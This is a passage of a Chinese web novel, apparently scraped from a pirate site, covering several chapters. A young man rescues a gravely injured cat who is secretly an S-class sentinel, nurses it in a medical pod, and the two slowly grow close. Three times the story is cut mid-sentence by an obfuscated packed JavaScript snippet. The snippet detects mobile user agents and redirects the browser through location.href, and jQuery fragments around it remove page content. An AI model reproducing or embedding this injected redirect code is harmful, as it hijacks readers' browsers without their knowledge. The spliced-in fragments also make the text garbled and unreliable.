空地外一圈像是受到了什么爆炸冲击，周围的树干面对空地的一边都有着树皮炸裂的痕迹。几棵较细的榕树整个向外歪倒了出去，树根部被翻了起来。更有不少碎裂的藤蔓、草叶，凌乱地呈扩散状散落在地上。 榕树围绕着的地面上，晕染着一大片浓稠的黑红血色。 厚厚一层鲜血被雨水冲刷着不停向着四面流淌，江寻只在边缘站了一小会儿，脚下就汇出了浅浅一洼血水。 浓郁的血腥气和一股怪异的甜腻味道弥漫在这片深林里，经过了一夜都没有散尽，直往江寻的鼻腔里钻。 江寻被这气味熏得眼前发晕。 他有点无法想象，那小小的身体里怎么才能流得出如此多的血液。以这血液的数量，小猫现在还活着吗？ 咬了咬嘴唇，江寻低下身来，更加细致地在周围搜寻着。终于在不到十米远的一棵附近最大的榕树下，看到了一个可疑的影子。 这棵大树不知道屹立在这里多久了，下半部分已经全部被板根围绕了起来，根系扩散开来足有四米方圆。蜿蜒的树根在树下分出了一个个隔间，顶上盖着一层厚厚的落叶。绿草青苔从中露出头来，与枯枝落叶合在一起，在树下形成天然的巢穴。 一道不太明显的血色拖拉痕迹一路延伸到了树下。 一团黑色的阴影半掩在其中一处隔间里，一动不动。 …… 陆厌离沉睡在精神图景中的神志被什么东西触动了一下。 耳边好像传来了隐约的呼唤。 听不清楚，是谁？ 清明的神志仍然沦陷着，兽性趁此机会甦醒了过来。 蒙昧地睁开眼睛，耳边的声音更加清晰地传了过来。 有人在靠近。 灰色小猫不知道是谁在呼唤，也听不懂意思，但下意识的想起，不能接近对方，不能触碰对方。 念头刚至就要起身逃跑，可后腿一使力，就有一股剧痛从左前方传来。 抵在地面上的左前爪形状扭曲地瘫软在地上，刚一动弹，就整个身子一歪，侧摔了过去。 小猫疼得眼冒金星，却透过侧身过去的视角，看到不远处，一个人影正急急向着它跑来。 不行，不能接近。有血，不能触碰。 头昏脑涨，心里只剩下这一个深深刻入脑海的念头。 顾不得瘫软的左爪，使劲一蹬后足跃了起来，右爪一伸就挂上了树干。 肚腹撞击在冷硬的树干上，还没愈合的伤口再次裂开，此时已经流不出多少血液了。 小猫疼得浑身一抖，僵直了一下以后，痛觉麻木起来。脑子完全失去了清醒，只执拗地一点一点蹭着向树上爬去。 爬到了最低一处枝丫上，看到来人已经奔至树下，又下意识颤抖着向树梢方向挪去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762072|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 江寻已经看清楚了那一团身影。 果然是自己苦寻良久的小猫，可此时他却不敢相信自己的眼睛。 小猫整个左前爪都惨烈地扭曲着，身上皮肉翻卷的伤口经过一个夜晚已经被泡成了白色，连血都快流不出来了。 浑身湿透了，毛发紧贴在身上，小了一大圈，整只猫此时看着就只有两手大小。 它的伤怎么会这么严重？！ 江寻心头的担忧在这时全部化为震惊酸涩，雨水扎进眼睛里，刺得眼睛通红。却看到伤成这样的小猫看到他靠近，还挣扎着翻身起来，蠕动着爬上了榕树。 江寻惊得声音颤抖，胡乱扔掉手里的伞就要上去托住它。 “别动！你别动了！小心！” 可小猫见他走近，爬得反而更快了，眼看又要向凭风摇晃着的树梢头挪过去。 江寻吓得再不敢动，举起双手停在树下，急急喊道：“不！你别动了，我不过去了，不过去了！” 许是再没有力气了，也或许是江寻的喊话起了作用，小猫终于停在了树桠中间，趴下身细细喘着气。 眼中一片血红，已经看不清东西了，可还是执拗地紧盯着江寻，好像他一动就要再次不顾一切的逃跑。 江寻抬头再次对视那双墨绿眼瞳。 这一次，那双以往炯炯的眼中没有了光彩，幽深的瞳孔无焦距地看着自己，其中再无一丝神气。 江寻心中一痛，嘴唇嗫嚅，怕吓到它似得轻声哄着。 “猫猫，别怕我，我不会伤害你的。” “你不是喜欢我吗？你不是每天每天都跟着我吗？” “你跟我回家好不好？跟我走吧，以后你就有家了。” 一遍又一遍不厌其烦地重复着。 澎湃的大雨中，江寻始终一动不动地站在树下，向着上方的猫儿张开着双臂。 冰冷刺骨的雨水打入眼睛，灌进喉咙，直到声音都变得嘶哑亦毫不动摇。 …… 见到那个人影在身下停了下来，小猫终于停止了动作。 其实它早就没了力气，这一趴下来，就腿脚颤抖地动不了了。 那个奇怪的人影在对自己说着什么。 听不懂。 但是他好像一直在重复。 小猫简单的思维里，循着本能生出了一些好奇。 他在说什么？ 那人向自己举起了前肢，半天一动不动，他在做什么？ 小猫看不懂，也听不懂。 可是那人的手臂看起来好结实，抱下来一定能把自己箍个满怀。胸膛看起来好宽好厚，踩着一定很舒服。头上的毛毛好多，埋在里面一定又暖和又柔软。 眼睛也好亮，小猫喜欢亮晶晶的东西。 他是在和自己说话吗？ 他是在叫自己过去吗？ 小猫不能接近人的啊。 为什么呢？不记得了，但是好像接近了就会发生不好的事，接近了就会发生很疼很疼的事。 可是小猫现在就好疼呀，现在就好冷啊，现在就好难受啊。 小猫好想吃鱼，小猫好想躺在软绵绵热腾腾的棉花里，小猫好想有人抱抱，好想有人帮小猫把痛痛吹飞飞。 所以可以的吧？ 小猫的爪子很小，就只拿一点点。 小猫像是被面前的人蛊惑了，颤抖着支起不听话的四肢，聚起全身剩下的所有力气，义无反顾地跳了下去。 像是跃入了春天里向着太阳仰面微笑的花蕾。 幸福地躺进它的黎明。 11. 第 11 章 “没事了没事了，你别睡着，我们马上就回家了。” 江寻一脚深一脚浅地快速跑在回家的路上。 胸前防护服的破洞大敞，一只湿淋淋的小猫呼吸微弱地躺在里面，紧紧贴在他的胸膛上。 雨伞不知道被吹到了哪里，江寻只好一只手小心地轻轻托住它，一只手撑开挡在胸前，为胸前的小生命挡住迎面而来的急雨。 小猫闭着眼睛，依赖地紧贴着他，小小的身体几乎没有热气，背脊轻微地起伏着。 江寻心中又是着急又是自责。 明明昨天小猫是为了救自己才受的伤，自己怎么还让它独自走掉了？ 明明知道它受了伤，天气环境又那么差，为什么等了一天才去找它？ 一脚踢开大门，江寻招呼也来不及打，抱着小猫就上了三楼。把它轻放在治疗舱中，急急地操作仪器检测起来。心仍然提着，害怕这治疗舱不能给其他生物使用。 还好他的担忧没有成为现实。 一声“滴”的长响之后，舱门正常关闭，机器启动，开始检测起来。 江寻这才放下了一路吊起的心。 【滴滴滴，检测完毕。】 【内脏受损程度35%，骨骼受损程度42%，□□□受损程度46%，□□□素浓度2.3%，低于正常水平；□□□□□22.3，□□□缺乏□□□□□。】 【诊断建议：立即补充□□□C24□□H合剂，□□缓释□□□；左前肢骨骼粉碎性受损，建议更换□□□□。】 【滴，检测到目标为□□□□体，请问是否需要进行□□□检测，请指示。】 前面的内容江寻很熟悉，他每次躺进治疗舱时也是这一套流程，可是最后这个步骤他却从来没有见过。 也许是因为种族不同而进行的特殊检测吧，江寻想到。 虽然大部分的检测结果他都看不懂，但是检测以后才能得到后续诊断建议，从而进行治疗，以往他一直是这样使用治疗舱的。 江寻毫不犹豫地点击了同意。 【滴，收到，正在进行□□□检测，请耐心等待……】 这一次等待的时间比刚才还要久，治疗舱足足运行了将近五分钟才给出了检测结果。 【滴滴滴，检测完毕】 【目标状态：□□□□体，等级：S，□□：□□□系，□□□值87.8%，精神□□□污染□□84.3%，警告！警告！目标即将□□□精神□□□□，请求通讯！正在通讯……】 江寻被突然闪烁起红色警报灯的治疗舱惊到，还没等他看清检测报告，又被它提示的“正在通讯”吓了一跳，身体比脑子快地飞快按下了停止按钮。 【滴滴滴，通讯失败！】 治疗舱“滴~”地长鸣一声，停止了运行。 江寻后知后觉地反应过来，对小猫的担忧暂时性地被被人发现的恐惧所压倒。抿了抿唇，带着些愧疚看了治疗舱一眼，还是选择优先保守自身的秘密。 再不敢乱按什么，重新启动治疗舱，运行例行检测程序，忽略它的后续检测选项，规规矩矩地点击同意诊断按钮，听着治疗舱中响起水声，运行了起来。 略略放下心来，江寻这才回忆起刚才匆匆一瞥的检测报告。 等级S，精神……污染，这是什么意思？就算不能完全看懂文字，只这几个有限的单词也让江寻感到了隐隐不安。 还有那个警告…… 将怀疑暂且压下，江寻突然打了个喷嚏，这才想起自己也淋了一下午的雨，浑身狼狈。 重新洗漱了一番，爬上床就迅速地睡熟了。 一夜无梦。 第二天一早，在小A的问候声中，江寻打了个哈欠醒了过来。 这两天过得太充实，江寻累得够呛，早上的精神都不如以往旺盛了。不过他还是没忘记最重要的事，一睁开眼睛就“啪嗒啪嗒”踩着鞋子走去了隔壁的医疗室。 治疗舱上已经开始闪烁绿灯，但是细细听去，里面还是没有动静。 江寻有经验，知道这是治疗顺利结束，但是患者还没有醒来的意思，可昨天看到的严重伤势还是让他担心无比。 关闭治疗舱，散出里面的催眠气体，江寻轻轻抬起了舱盖。 一只湿哒哒的小猫正闭着眼睛蜷缩成一团，趴在舱底中央，似乎还没有从麻醉中苏醒。 江寻伸出一根手指，拨开小猫身长的长毛，看向下面的皮肤。 昨天看到的几个最大的伤口处，都被一种白色的薄膜粘合封闭住了。 薄膜伸缩性很好，也非常柔软，紧紧地扒在皮肤上，把开放的伤口全部封闭了起来。 小猫神色安稳，呼吸平缓，看样子已经脱离了危险。 左前爪被一种白色的硬质材料包裹固定住，弯折在身前，小猫此时正毫无所觉地歪着脑袋搭在上面睡得正香。 从外表上面来看，几个大的伤处都被好好处理过了。 不过江寻估计，这只是治标，还没治本，后续一定还需要更多次治疗和精心的养护，才能让它彻底痊愈。 不过一切都在往好的方向发展。 一放下心来，看着面前乖乖趴着的小毛头，江寻的手就痒了起来。 勾引了这小猫这么久，这次总算是把它勾回家了。 伸出手指一会儿摸摸它的尾巴，一会儿在脊背上顺拉两下。一会儿偷偷戳弄一下软白的肚子，一会儿又搭在小猫下巴上，抬起它的小脸蛋稀罕地左看右看。 陆厌离就是在这个时候醒过来的。 …… 陆厌离恍恍惚惚的，感觉有一双手臂正紧紧抱着自己。 记忆模糊了起来，周围的场景变化。 抱着自己的手臂柔软下来，坚实化为软嫩纤细，一样没变的是同样稳稳地把自己抱在胸前。 在一片白光中，陆厌离看到了一个女人的身影。 女人的声音轻柔而甜美，带着一丝这个年纪尚且隐藏不住的得意。面容融化在白光之中，只能隐约看到她正微微低下头来，手指细细点向投影屏上一身正装，雍容稳重的男人，对陆厌离说道： “星星，妈妈的好宝宝，你太给妈妈争气了！S级！陆家绝无仅有的S级！你会是陆家最耀眼的明星，这次谁也不能阻拦我们进入陆家了！你看，这是你的爸爸！要记住爸爸哦！” 场景再次变换，这次来到了一片凌乱的街巷上。 女人仍旧把陆厌离紧紧抱在怀里，前方不远处停着一辆与这里格格不入的豪车。 她流着眼泪，哭得抽抽噎噎，埋首在他颈窝里，似乎悲伤得无法言语，陆厌离却听到细细的声音传入耳中。 “星星，一定要听爸爸的话，爸爸很疼星星的！你要是想妈妈了，就去和爸爸说要找妈妈来陪你，爸爸一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762073|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会把妈妈接过去陪你的！记住了哦！想妈妈了，就去找爸爸说！” 陆厌离懵懂地点点头，被女人掩着泪送进车厢。 车子开动，陆厌离这才明白发生了什么，嚎啕着趴在后座上，使劲拍打着车窗，却只能看着女人站在原地的影子，变得越来越小。 细嫩的下巴抵在靠背上，随着女人变小的影子越抬越高。 路边的霓虹闪着廉价的艳俗灯光刺入他的眼帘，他忍不住眨了下被眼泪糊住的眼睛，眼泪落了下来，视野里越来越亮。 耳旁的喧嚣渐行渐远，一个干净俊秀的男人脸庞穿越那一片亮光，闯入他的眼底。 …… 江寻看着面前傻愣愣盯着自己看的小猫，一下子没忍住轻笑出声。 手下的猫儿像是一下子回过了神来，耳朵一抖，扭过头去，也不顾左爪被固定着，动也不能动，就要翻滚着逃走。 江寻突然起了玩心，像个反派似的嘿笑一声，伸出两指一下就掐住了命运的后颈皮。 小猫惊得张开嘴就嘶叫了起来，声音粗粝沙哑，和外貌判若两猫，活像只鸭子。 江寻见它叫得凄厉，这才良心发现，不忍心再闹他了。 轻轻把他提回治疗舱中央，松开手后退两步，举起双手示意：“好啦好啦，别害怕了，我不闹你了。” 小猫刚刚醒来，还没恢复力气。正要拼命挣脱禁锢，却见男人松开手，主动退出几步去。这才一点点放松下来，不再挣扎，背靠舱壁警惕地看向面前的男人。 江寻此时却是见着仍然竖着一身刺的小猫有点心疼。 一旦变换了身份，他就迅速站稳了立场，护短起来。 该死的外星人，看把我家小猫吓成什么样了。 明明很喜欢我，昨天扑进我怀里的时候多么惹人怜爱啊，还知道乖乖地趴在我身上喵喵叫呢！结果一醒过来又应激了。 江寻在心中暗骂那帮冷酷的士兵。 “猫猫别害怕，跟我回家了，以后我们就是一家人了，爸爸一定会好好照顾你的！” 陆厌离看着对面的年轻男人露出一副古怪的笑容，眼里带着点慈祥，对着自己呱唧呱唧说了一堆话，直觉不太对劲。 皱了皱眉，见他不再靠近，他便也不再挣扎。不理面前这人，扭头看向周围，确定自己的处境。 熟悉的冰冷治疗舱，还没散去的药水与合成向导素的味道，手上包裹着的一次性固化药泥，还有体内能感受到的细微麻木痒痛。 这人把我带回静室了？ 好像不对…… 记忆回笼，一幕幕场景从脑海中浮现，陆厌离惊得愣在原地。 是我……主动跟他回来的？ 一股热气涌上面庞，陆厌离羞恼得咬牙。 还是被他一路抱回来的！ 这人怎么回事？我差点杀了他，他还一而再再而三地跑来接近我！他没看出来接近我自己会中毒吗？ 他真的不认识我吗？不知道我是S级哨兵吗？故意接近我到底有什么目的？ 陆厌离脑中混乱，一个个疑问纷至杳来。 正头脑风暴中，面前一暗，鼻尖比眼睛还快地捕捉到一股诱人的味道。 两个小碗被推到他面前，一只里装着小半碗温热的乳白液体，一只里装着两条去了刺的小鱼。 正是几天以前，他从面前的男人那里得到的食物。 12. 第 12 章 没见到的时候还不觉得，如今眼睛看着，鼻子闻着，饥饿感就猛然鲜明了起来。 心下还没想个清楚，看了看眼含期盼看着自己的男人，陆厌离犹豫片刻，还是遵从自己的本心低头舔舐了起来。 江寻看着在他面前低头开吃的猫儿，心底欣慰无比。 还是有进步的，这不是都能在自己面前吃东西了？ 看到猫儿颊边的胡须还被治疗舱中的药水拧成一缕一缕，顺着它低头的动作差点滴进小碗里。江寻赶忙取来自己的毛巾，尝试着靠近。 察觉到他的动作，猫儿敏锐地从碗边抬起头来瞪向江寻。 江寻示意般举了举手中的毛巾。 猫儿迟疑片刻，不再理会他，又低下了头继续吃起来。 江寻轻吁一口气，这才快速走近几步，轻轻把毛巾搭在猫儿身上，轻柔地搓揉起来。 昨天还一身狼狈的猫猫，经过药液一晚上的冲洗，身上的泥土血水已经被洗掉了许多。不过治疗舱毕竟是医疗设施，到了这一步，就没有更进一阶的清洁护理了。 猫儿身上还湿哒哒的，长毛糊成一团紧贴在身体上。 江寻先囫囵用毛巾在它身上轻轻按压一遍吸去多余的药液，这才一缕缕地捻起长毛一点点擦干。 不停翻弄着猫猫身上的长毛，江寻专注地做着自己的工作。擦着擦着，却发现有什么奇怪的痕迹在手下一闪而过。 指尖隔着毛巾探过去，摸到一个粗糙的凸起。 江寻疑惑地轻轻翻起猫猫的长毛，在刚才隐约看到的地方仔细查看。 一条丑陋的凸起伤痕映入他的眼帘。 江寻手一顿，低头凑近，手上更加轻柔地细细探索过去。更多或淡红或乳白的伤痕浮现而出，扎眼的交错在面前这幅小小的身体上。 这些伤痕有长有短，形态不一，长的从后腿一直延伸到脊柱；短的遍布在侧腹、在肩头、在大臂、在后脖……到处都是。 颜色不一，新的叠着旧的。 柔软的小小画布被这些伤疤割成一块块光怪陆离的碎片。 江寻轻轻抚摸在这些疤痕上，心头震动。 猫儿被这温热的触感一碰，眼睛还没转过去，身体就一哆嗦，向着相反的方向躲了一躲。可这么近的距离下，他又怎么躲得开。 江寻手一捞就拦腰勾住了猫儿，一把抱进了怀里。 一手环臂揽着它，一手疼惜地一下下抚上猫儿的后背，低下头贴了上去。 怀里的猫儿马上挣扎了起来，可它这时候重伤初愈，又有一条前腿使不上力，哪是使上了蛮力的江寻的对手，被江寻箍在怀里逃脱不得。 由着心头涌起的情绪控制，搂着猫猫贴贴了半天，江寻这才松了松力。猫儿马上发现了漏洞，一挺身挣脱了出去，在墙壁上借力一跳就跃上了门框。若不是江寻早就让小A关好了门窗，恐怕当下就要逃了出去。 站在头顶门框上，猫儿弓下身子，睁大眼睛紧盯着江寻，眼里能看出三分震惊三分警惕防备。 江寻不好意思地对着猫儿笑笑，又凑上前去轻声细语地赔不是，哄猫猫。 心下却生出些得意，猫猫真的好喜欢我，挣扎的时候也只是伸出肉垫扑腾，都不会对我露指甲。 ……但是也真的不好哄，两个小时后，江寻瘫坐在地上心中叹气。 在黑科技鱼冻的加持下，猫猫终于肯从房顶上下来了。可他是彻底不能再靠近过去了，一有动静，猫猫就会抬起头警惕地紧盯着他。 理亏地摸摸鼻子，江寻也安静下来，头一歪靠在沙发扶手上，带着丝笑意静静看着面前的小猫。 奶奶你看到了吗？ 我过得很好，我也有家了，属于我自己的家。 窗外的阳光暖融融的，越过窗口，在地板上映照出金色的方框，一人一猫被框进其中，像一幅色彩明亮的油画。 江寻半眯着眼睛，噙着微笑感受着落在身上的温暖。 太阳升起来了，雨后阳光总会格外的干净明亮。 …… 与此同时，环寂静星轨道上，一个不起眼的小型卫星突然被激活，闪烁起红色信号灯。 一个超距信号被发射了出去。 不知据此多远的一座银白建筑内，一座陈列在地底的量子计算机突然在一声长鸣后自动运行了起来。 随着这台计算机的运转，整座建筑都活跃了起来。 两个穿着相似制服的男人匆匆从楼梯下来，走近正在运转的计算机查看。 “怎么回事？那位有什么异动吗？”个子小的一人眉目里蕴着一些不敢言说的恐惧，忐忑地小声问道。 另一人看起来更加冷静一些，没有急着回答，先仔仔细细地看过传送过来的信息，这才吁了一口气说道：“是那边有一座治疗舱向外发送了通讯请求，但是请求还没有被通过又被取消了。” 小个子眉间的恐惧散去了一些：“应该是堕化警报吧？那位的堕化值这么快就到临界点了吗？这……用不用给上面报告？” “应该是遇到了什么意外吧？”另一人思考片刻：“这也在几种可能的预判之内，属于预料内的正常情况，先继续观察吧，等有了确切消息再向上面报告。” 说话间，来人把这一次收到的信息记录下来，重新关闭了计算机，地下空间内，再次恢复一片寂静。 …… “猫猫，来试试这个！” 江寻给最后的线头打上个死结，拿起成品放在地板上，对远远趴卧在大厅落地窗前的猫猫唤道。 这可是他消耗了一整张珍贵的鸭绒毯子才做出来的。 放在地板上的是一个橘黄色的圆形软垫，周身没有什么特殊的装饰，但里面被填充物塞得满满的，只看外表就知道用起来有多么的柔软舒适。 猫猫扭头过来看着他，毫无动作的意思。 “看，这是垫子，给你睡觉的地方。” 江寻连比带划的，又坐到地板上，做了个睡觉的姿势，趴在垫子上。 猫猫还是毫无反应，江寻甚至觉得他在对方的目光里还看到了一点儿无语。 “很舒服的，你来试试呀，我走开一点儿好不好？” 江寻说着，拿着垫子慢慢靠近，又在猫猫警觉地站立起来时，伸长胳膊，将垫子往前推了推。自己退后几步，期待地看着猫猫。 猫猫却只是在他退后以后又趴了下去，好像对那垫子毫无兴趣的样子。 “好吧，看来你不喜欢这个。唔，那我再想想办法。” 江寻见此，放弃了说服，叹了口气，上楼去了。 眼看着江寻上了楼去，陆厌离这才从落地窗前站起，走近了些。 绕着垫子转了一圈，伸出爪子左右踩踩试探了一番，这才轻轻一跃跳上了垫子，揣起爪子团团卧下。 长长地打了个哈欠，陆厌离久违地生出一点儿岁月静好的感觉，懒洋洋地一动也不想动。 为什么不离开？陆厌离也说不太清楚。 他拥有这静室的完整权限，只要通过AI管家认证一下，这里的防护系统根本不可能关得住他。 更何况对方连开启防护系统的权限也没有，用到的手段只是关上窗户大门。 ……我为了救他，受了很重的伤，而且还需要向导素，这里本来就是属于我的静室，我留在这里是理所应当的。 更何况，还不能确定这个人的身份目的呢，我得在近处随时盯着他。 再说了，我现在都不在军部供职了，也用不着一直谨守着安全条例。 都是他自己非要把我带回来的，中了毒也活该……而且他看起来身体素质也不错，上次接触到我的指甲和唾液都没事，幼生体身边携带的精神毒素本就不算多，只是触碰体表的程度的话，以医疗舱的治疗能力，应该不会有大碍的。 他现在不就好好的吗？大不了我小心些不要抓伤他就是了。 想着想着，陆厌离又想起那人触碰在自己背脊上时温热的指尖，把自己完全笼罩起来的怀抱，还有…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762074|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆厌离脸一红，逃避般地把头往臂弯里埋了埋。 ……是我让他中毒受伤的，就要负责到底，就等到他完全痊愈为止，等他身上的毒伤全好了，我就离开。 …… 躺在全息舱里上完了今天的课程，江寻打了个哈欠，一股困意突然袭来，迷迷糊糊地就睡了过去。 睡着睡着，江寻又感觉到了熟悉的热。 这股热意来得突然，上一秒还悄无声息，下一秒就忽然从体内不知名处翻涌了出来，瞬间席卷全身。 这回的热又与上一次有所不同。他不烫人，但它如有生命一般在江寻的体内呼啸着来去。 并不痛苦，比起痛苦来，更加准确的形容词是难耐。 这股热意涌到哪里，江寻身体的那一部分就控制不住地随着这股热意颤抖起来。 他的身体好像分成了许多许多份，每一份都有了自己的意识。 他们平日里都在江寻体内沉睡着。此刻这股热意的到来，使他们一个个甦醒了过来。于是每一个都开始对着江寻诉说着他们的野望。 想要绞紧，把什么柔软的东西团团绞紧，让他完全属于自己哪也去不了…… 想要啃噬，把什么甜美诱人的东西，一口一口嚼进喉咙，直到吞噬殆尽…… 想要吸吮，把什么甘甜的露汁灌进喉咙，咕咚咕咚的大口饮下…… 想要操纵，把什么鲜活的东西封裹起来，只能被自己摆布着一举一动…… 絮絮叨叨，没完没了。 江寻的意识沉浸在这些虚妄的声音里，淹没了，浸透了，于是也染上了它们的颜色。 每一块血肉，每一滴体/液都在扭曲着蠕动、撕扯着渴求。 由身体最深处传出的战栗，像密密麻麻的虫子啃噬着他。 触觉一下子变得敏感极了，身上穿着的衣服都刺激得江寻浑身汗毛直竖，炸起大片鸡皮疙瘩。 空气也焦灼了起来，像是变成了粘稠的液体。 江寻在睡梦中张大了喉咙，却祈求不到一点儿氧气。 体内的热意奔腾又奔腾，轰然撞在一起，咆哮着涌向身下。 一个剧烈的颤抖，江寻猛地睁开无神的双眼，面上一片空白，弓起身子紧紧环抱住自己。 过了许久，才虚脱般平静了下来，急促地大口喘息。 此时，他已经浑身狼狈，汗涔涔湿淋淋。 缓过神来意识到发生了什么，江寻难堪地呻吟一声，面上飞红。 这是怎么了？上次被猫猫抓伤感染后的后遗症吗？还是太久没处理过了？怎么就莫名其妙的……啧！ 江寻飞快起身，低头快速走向洗浴间，像是怕被什么人看到。良久，才揉着耳朵从洗浴室里走出来。 胡思乱想半天，体内残留的酥麻热意才全部褪去。 江寻终于重拾起理智，不禁心中庆幸。还好这里就我一个人，没带猫猫上来。 对了，还要重新给猫猫搞个窝放卧室里，不然总不能让它第一天来就睡地板吧？ 至于让他睡在客厅沙发上之类的选项，从没有在江寻脑子里停留过。 养猫猫不陪自己睡一间房，那和没养宠物有什么区别？ 一边琢磨着，一边走下楼梯，眼角余光里，却好像闪过一道灰色的影子。 再一看，猫猫还是和刚才一样一本正经地卧在落地窗前，扭头注视着窗外。 江寻一脑门问号，走近几步，眼角一瞥正看到鼓鼓的垫子中间缓缓回弹。 脑子一转心下好笑，却又不敢真的在猫猫面前笑出来。他可不想再被猫猫冷暴力。 看来剩下的功夫可以省下来了。 江寻悠然捡起地上的软垫，故意在猫猫面前晃了一圈，才悠哉悠哉地拿起软垫上楼。 刚转过身去，背后就感受到了熟悉的炙热视线。 江寻也不回头，漏出声笑，更加快速地跨上楼梯。 背后凝结的视线一直粘在他身上，始终没有散去。 13. 第 13 章 “猫猫？猫猫！你在哪呢？出来吃饭了。” 江寻敲敲小碗，发出清脆的声响，一大早的又开始了他的找猫大业。自从把猫猫带回家后，这就变成了他们每天固定的日常。 猫猫好像比他还熟悉这间别墅似的，总是来无影去无踪，一错眼就躲得不见了。 江寻对这个游戏倒是甘之如饴，也从不利用小A作弊，每次都和猫猫玩得津津有味。 这样热闹的日子是他从没感受过的，每一天都让他感到十二分的新奇。 新的武器装备还没有制作好，同时也怕猫猫又趁着自己不在逃跑，江寻这几天门都没出过，一直在家里陪着它熟悉环境。 另一方面，还要抓它每天去躺治疗舱继续治疗。 猫猫可能是天生就怕治疗舱那种幽闭的环境，自醒来以后，再要把他放进治疗舱里就特别艰难，每次都要经过一番围追堵截，才能偶尔成功一次。 平时也看不见猫影，不知道藏在哪里。叫它也不出声，每次江寻都要翻箱倒柜地找它半天。 只有吃东西时才会乖乖主动现身，但是也不能靠太近。看到他靠太近了不是哈气就是呲牙。 江寻也学聪明了，估摸好猫猫的饭量，每次喂食都差那么一点儿，好在寻它时能用零食把它勾引出来。 现在他就在猫猫专用的小碗里盛了一块半透明，在暗处还会发出微光的鱼冻。正是以那天从湖边取来的小鱼为原材料制成的。比起他自制的猫食，这种星际特产的宠物零食格外受到猫猫的喜爱。 果然，听到吃东西，他话音刚落，头顶上就窜下来一道灰影。 肉肉的爪垫落地无声，一只前爪被可笑地包裹固定着，也挡不住它的优雅步伐。猫猫在落地窗前它的宝座上卧下，扭头盯着江寻……手里的小碗。 江寻一笑，把小碗上供给猫主子。 看着它慢条斯理地一边玩一边把碗里的鱼冻吃掉后，赶紧伸手一捞，把猫猫强压进自己怀里，几步上了三楼医疗室。 冷酷地不顾它的挣扎把猫猫关进治疗舱，马上启动复检。 【滴滴滴，检测完毕。】 【内脏已修复完毕，骨骼受损程度1.2%，□□□受损程度3%，□□□素浓度13%，略低于正常水平；□□□□□，已恢复正常】 【诊断建议：补充0.3□□缓释□□□；可拆除□□□□□药泥，进行康复训练。】 看来康复效果不错。 江寻再次按照提示，操作治疗舱为里面的猫儿补充上内置的药物。这次的速度就快得多了，不到五分钟机器就停止了运转。他赶快打开舱门，把骂骂咧咧的猫儿放了出来。却还不能放它跑掉，一边哄着一边钳制住它的爪子，捏紧了被药泥包裹住的左爪。 猫猫挣扎未果，此时好像也看出了他的目的，慢慢停了下来，乖乖地伸着手窝在他怀里看着他动作。 江寻早就琢磨清楚了这东西要怎么拆除，三下五除二就把药泥从猫儿爪子上卸了下来。 裹着药泥的爪子上已经不见了当日曾见到的扭曲模样。江寻捏着它的腿骨，从上到下地仔细检查了一遍。 新生的腿骨仍然细细一条，但摸着各个部位都很完整，一点儿也找不到当时刺出皮肤的骨茬了，也不知道是怎么修复的。 外部皮肉上的伤口倒是留下了些许痕迹，化为几条红色的细痕残留在皮肤上。 江寻用大拇指摩挲几下，又想起几天前在猫猫身上看到的旧伤痕。 那天的伤势严重到几乎断爪，治好后都只留下这么几条不起眼的细细伤痕。猫猫身上残留的那些，直到现在看来仍旧狰狞的巨大伤口，当初到底是受了多重的伤？ 它那时受伤时，身边又有没有人照顾呢？ 不敢细想。 怀里的猫猫被他这么一摩挲，也不再安分。趁着他分神的工夫，翻了个身就窜了出去，如有情绪似地睁大眼睛瞪了他一眼，转身一溜烟就不见了。 江寻无奈一笑，也不去追它，把治疗舱里收拾了一下就一个翻身，自己躺了进去。 这几天他也不是只陪着猫猫养伤，他自己身上留下的伤势也养得七七八八了。可那种古怪的灼热梦境还是会时不时的发作一下。 每次梦中的内容也不尽相同，但五次里总有那么两三次是那种让人羞臊的梦，搞得他睡觉都小心翼翼的，有一次还差点在小猫面前发作。 虽然小猫估计也看不懂，可江寻作为家长的偶像包袱还是很重的，绝对不想被自家猫猫看见他的窘况，一直都小心地避着猫儿。 治疗舱快速地检测了一遍，江寻调出报告单查看起来。 前面几项仍然是常规的身体检查项目，经过这几天好吃好喝的休养，江寻的皮肉伤已经彻底痊愈了。 报告单后半部分却还挂着一长串不认识的名词。 江寻回忆一下，这部分检查结果，正是在第一次遇到猫猫被它抓伤以后出现的。 当时他觉得大概是感染了什么星际版病毒。可都过去这么久了，他也一直在接受黑科技治疗舱的治疗。连几天以前脏腑吐血的伤势都已经治好了，没道理感染个病毒还一直治不好吧？ 该不会不是什么病毒感染吧？ 江寻想到了另外一种可能。 我该不会是猫毛过敏吧？ 从有记忆开始，江寻就生活在一个几乎丧父的环境里。 在他的记忆里，父亲总是十天半个月才回来一次，每次回来也呆不长。 